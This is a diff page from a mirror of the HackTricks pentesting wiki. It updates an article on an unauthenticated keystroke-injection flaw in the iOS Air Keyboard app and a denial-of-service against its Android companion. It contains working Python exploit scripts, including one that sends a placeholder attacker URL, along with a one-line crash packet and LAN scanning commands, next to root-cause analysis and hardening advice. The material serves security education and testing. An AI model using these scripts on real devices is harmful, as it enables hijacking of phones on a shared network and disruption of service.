mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Add content from: Research Update: Enhanced src/mobile-pentesting/ios-pentesti...
This commit is contained in:
		
							parent
							
								
									d753b3ed2f
								
							
						
					
					
						commit
						b8413f5f9e
					
				@ -1,21 +1,28 @@
 | 
			
		||||
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
 | 
			
		||||
# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## TL;DR
 | 
			
		||||
 | 
			
		||||
The iOS version of the commercial "Air Keyboard" application (App Store ID 6463187929) opens a **clear-text TCP service on port 8888** that accepts keystroke frames **without any authentication**.  
 | 
			
		||||
Any device on the same Wi-Fi network can connect to that port and inject arbitrary keyboard input into the victim’s phone, achieving **full remote interaction hijacking**.  
 | 
			
		||||
The iOS version of the commercial **“Air Keyboard”** application (App Store ID 6463187929) exposes a local-network service that **accepts keystroke frames without any authentication or origin verification**. Depending on the version installed the service is either:
 | 
			
		||||
 | 
			
		||||
A companion Android build listens on **port 55535**.  It performs a weak AES-ECB handshake, but crafted garbage causes an **unhandled exception in the OpenSSL decryption routine**, crashing the background service (**DoS**).
 | 
			
		||||
* **≤ 1.0.4**  – raw TCP listener on **port 8888** that expects a 2-byte length header followed by a *device-id* and the ASCII payload.
 | 
			
		||||
* **≥ 1.0.5 (June 2025)**  – **WebSocket** listener on the *same* port (**8888**) that parses **JSON** keys such as `{"type":1,"text":"…"}`.
 | 
			
		||||
 | 
			
		||||
Any device on the same Wi-Fi / subnet can therefore **inject arbitrary keyboard input into the victim’s phone, achieving full remote interaction hijacking**.  
 | 
			
		||||
A companion Android build listens on **port 55535**. It performs a weak AES-ECB handshake but crafted garbage still causes an **unhandled exception inside OpenSSL**, crashing the background service (**DoS**).
 | 
			
		||||
 | 
			
		||||
> The vulnerability is **still unpatched at the time of writing (July 2025)** and the application remains available in the App Store.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 1. Service Discovery
 | 
			
		||||
 | 
			
		||||
Scan the local network and look for the two fixed ports used by the apps:
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
# iOS (input-injection)
 | 
			
		||||
nmap -p 8888 --open 192.168.1.0/24
 | 
			
		||||
# iOS (unauthenticated input-injection)
 | 
			
		||||
nmap -p 8888 --open 192.168.1.0/24  
 | 
			
		||||
 | 
			
		||||
# Android (weakly-authenticated service)
 | 
			
		||||
nmap -p 55535 --open 192.168.1.0/24
 | 
			
		||||
@ -24,16 +31,19 @@ nmap -p 55535 --open 192.168.1.0/24
 | 
			
		||||
On Android handsets you can identify the responsible package locally:
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
adb shell netstat -tulpn | grep 55535     # no root required on emulator
 | 
			
		||||
 | 
			
		||||
adb shell netstat -tulpn | grep 55535      # no root required on emulator
 | 
			
		||||
# rooted device / Termux
 | 
			
		||||
netstat -tulpn | grep LISTEN
 | 
			
		||||
ls -l /proc/<PID>/cmdline                # map PID → package name
 | 
			
		||||
ls -l /proc/<PID>/cmdline                 # map PID → package name
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
## 2. Frame Format (iOS)
 | 
			
		||||
On **jailbroken iOS** you can do something similar with `lsof -i -nP | grep LISTEN | grep 8888`.
 | 
			
		||||
 | 
			
		||||
The binary reveals the following parsing logic inside the `handleInputFrame()` routine:
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 2. Protocol Details (iOS)
 | 
			
		||||
 | 
			
		||||
### 2.1  Legacy (≤ 1.0.4) – custom binary frames
 | 
			
		||||
 | 
			
		||||
```
 | 
			
		||||
[length (2 bytes little-endian)]
 | 
			
		||||
@ -41,64 +51,139 @@ The binary reveals the following parsing logic inside the `handleInputFrame()` r
 | 
			
		||||
[payload ASCII keystrokes]
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
The declared length includes the `device_id` byte **but not** the two-byte header itself.
 | 
			
		||||
The declared *length* includes the `device_id` byte **but not** the two-byte header itself.
 | 
			
		||||
 | 
			
		||||
### 2.2  Current (≥ 1.0.5) – JSON over WebSocket
 | 
			
		||||
 | 
			
		||||
Version 1.0.5 silently migrated to WebSockets while keeping the port number unchanged. A minimal keystroke looks like:
 | 
			
		||||
 | 
			
		||||
```json
 | 
			
		||||
{
 | 
			
		||||
  "type": 1,              // 1 = insert text, 2 = special key
 | 
			
		||||
  "text": "open -a Calculator\n",
 | 
			
		||||
  "mode": 0,
 | 
			
		||||
  "shiftKey": false,
 | 
			
		||||
  "selectionStart": 0,
 | 
			
		||||
  "selectionEnd": 0
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
No handshake, token or signature is required – the first JSON object already triggers the UI event.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 3. Exploitation PoC
 | 
			
		||||
 | 
			
		||||
### 3.1  Targeting ≤ 1.0.4 (raw TCP)
 | 
			
		||||
 | 
			
		||||
```python
 | 
			
		||||
#!/usr/bin/env python3
 | 
			
		||||
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
 | 
			
		||||
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
 | 
			
		||||
import socket, sys
 | 
			
		||||
 | 
			
		||||
target_ip = sys.argv[1]                  # e.g. 192.168.1.50
 | 
			
		||||
keystrokes = b"open -a Calculator\n"     # payload visible to the user
 | 
			
		||||
target_ip  = sys.argv[1]                 # e.g. 192.168.1.50
 | 
			
		||||
keystrokes = b"open -a Calculator\n"    # payload visible to the user
 | 
			
		||||
 | 
			
		||||
frame  = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
 | 
			
		||||
frame += b"\x01"                         # device_id = 1 (hard-coded)
 | 
			
		||||
frame += b"\x01"                        # device_id = 1 (hard-coded)
 | 
			
		||||
frame += keystrokes
 | 
			
		||||
 | 
			
		||||
with socket.create_connection((target_ip, 8888)) as s:
 | 
			
		||||
    s.sendall(frame)
 | 
			
		||||
print("Injected", keystrokes)
 | 
			
		||||
print("[+] Injected", keystrokes)
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
Any printable ASCII (including `\n`, `\r`, special keys, etc.) can be sent, effectively granting the attacker the same power as physical user input: launching apps, sending IMs, visiting phishing URLs, etc.
 | 
			
		||||
### 3.2  Targeting ≥ 1.0.5 (WebSocket)
 | 
			
		||||
 | 
			
		||||
```python
 | 
			
		||||
#!/usr/bin/env python3
 | 
			
		||||
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
 | 
			
		||||
import json, sys, websocket  # `pip install websocket-client`
 | 
			
		||||
 | 
			
		||||
target_ip = sys.argv[1]
 | 
			
		||||
ws        = websocket.create_connection(f"ws://{target_ip}:8888")
 | 
			
		||||
ws.send(json.dumps({
 | 
			
		||||
    "type": 1,
 | 
			
		||||
    "text": "https://evil.example\n",
 | 
			
		||||
    "mode": 0,
 | 
			
		||||
    "shiftKey": False,
 | 
			
		||||
    "selectionStart": 0,
 | 
			
		||||
    "selectionEnd": 0
 | 
			
		||||
}))
 | 
			
		||||
ws.close()
 | 
			
		||||
print("[+] URL opened on target browser")
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
*Any printable ASCII — including line-feeds, tabs and most special keys — can be sent, giving the attacker the same power as physical user input: launching apps, sending IMs, opening malicious URLs, toggling settings, etc.*
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 4. Android Companion – Denial-of-Service
 | 
			
		||||
 | 
			
		||||
The Android port (55535) expects a 4-character password encrypted with a **hard-coded AES-128-ECB key** followed by a random nonce.  Parsing errors bubble up to `AES_decrypt()` and are not caught, terminating the listener thread.  A single malformed packet is therefore enough to keep legitimate users disconnected until the process is relaunched.
 | 
			
		||||
The Android port (55535) expects a **4-character password encrypted with a hard-coded AES-128-ECB key** followed by a random nonce.  Parsing errors bubble up to `AES_decrypt()` and are not caught, terminating the listener thread.  A single malformed packet therefore suffices to keep legitimate users disconnected until the process is relaunched.
 | 
			
		||||
 | 
			
		||||
```python
 | 
			
		||||
import socket
 | 
			
		||||
socket.create_connection((victim, 55535)).send(b"A"*32)  # minimal DoS
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
## 5. Root Cause
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
1. **No origin / integrity checks** on incoming frames (iOS).  
 | 
			
		||||
## 5. Related Apps – A Recurring Anti-Pattern
 | 
			
		||||
 | 
			
		||||
Air Keyboard is **not an isolated case**. Other mobile “remote keyboard/mouse” utilities have shipped with the very same flaw:
 | 
			
		||||
 | 
			
		||||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78  allow unauthenticated command execution and plain-text key-logging.
 | 
			
		||||
* **PC Keyboard ≤ 30** – CVE-2022-45479/80  unauthenticated RCE & traffic snooping.
 | 
			
		||||
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83  default-no-password, weak PIN brute-force and clear-text leakage.
 | 
			
		||||
 | 
			
		||||
These cases highlight a systemic neglect of **network-facing attack surfaces on mobile apps**.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 6. Root Causes
 | 
			
		||||
 | 
			
		||||
1. **No origin / integrity checks** on incoming frames (iOS).
 | 
			
		||||
2. **Cryptographic misuse** (static key, ECB, missing length validation) and **lack of exception handling** (Android).
 | 
			
		||||
3. **User-granted Local-Network entitlement ≠ security** – iOS requests runtime consent for LAN traffic, but it doesn’t substitute proper authentication.
 | 
			
		||||
 | 
			
		||||
## 6. Mitigations & Hardening Ideas
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
* Never expose unauthenticated services on a mobile handset.  
 | 
			
		||||
* Derive per-device secrets during onboarding and verify them before processing input.  
 | 
			
		||||
* Bind the listener to `127.0.0.1` and use a mutually authenticated, encrypted transport (e.g., TLS, Noise) for remote control.  
 | 
			
		||||
* Detect unexpected open ports during mobile security reviews (`netstat`, `lsof`, `frida-trace` on `socket()` etc.).
 | 
			
		||||
* As an end-user: uninstall Air Keyboard or use it only on trusted, isolated Wi-Fi networks.
 | 
			
		||||
## 7. Hardening & Defensive Measures
 | 
			
		||||
 | 
			
		||||
Developer recommendations:
 | 
			
		||||
 | 
			
		||||
* Bind the listener to **`127.0.0.1`** and tunnel over **mTLS** or **Noise XX** if remote control is needed.
 | 
			
		||||
* Derive **per-device secrets during onboarding** (e.g., QR code or Pairing PIN) and enforce *mutual* authentication before processing input.
 | 
			
		||||
* Adopt **Apple Network Framework** with *NWListener* + TLS instead of raw sockets.
 | 
			
		||||
* Implement **length-prefix sanity checks** and structured exception handling when decrypting or decoding frames.
 | 
			
		||||
 | 
			
		||||
Blue-/Red-Team quick wins:
 | 
			
		||||
 | 
			
		||||
* **Network hunting:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` or Wireshark filter `tcp.port == 8888`.
 | 
			
		||||
* **Runtime inspection:** Frida script hooking `socket()`/`NWConnection` to list unexpected listeners.
 | 
			
		||||
* **iOS App Privacy Report (Settings ▸ Privacy & Security ▸ App Privacy Report)** highlights apps that contact LAN addresses – useful for spotting rogue services.
 | 
			
		||||
* **Mobile EDRs** can add simple Yara-L rules for the JSON keys `"selectionStart"`, `"selectionEnd"` inside clear-text TCP payloads on port 8888.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Detection Cheat-Sheet (Pentesters)
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
# Quick one-liner to locate vulnerable devices in a /24
 | 
			
		||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
 | 
			
		||||
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
 | 
			
		||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
 | 
			
		||||
  | awk '/Ports/{print $2 "  " $4}'
 | 
			
		||||
 | 
			
		||||
# Inspect running sockets on a connected Android target
 | 
			
		||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
 | 
			
		||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
 | 
			
		||||
  echo -n \"$p → \"; cat /proc/$p/cmdline; done"
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
 | 
			
		||||
- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
 | 
			
		||||
- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333)  
 | 
			
		||||
- [Mobile-Hacker Blog (17 Jul 2025) – Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user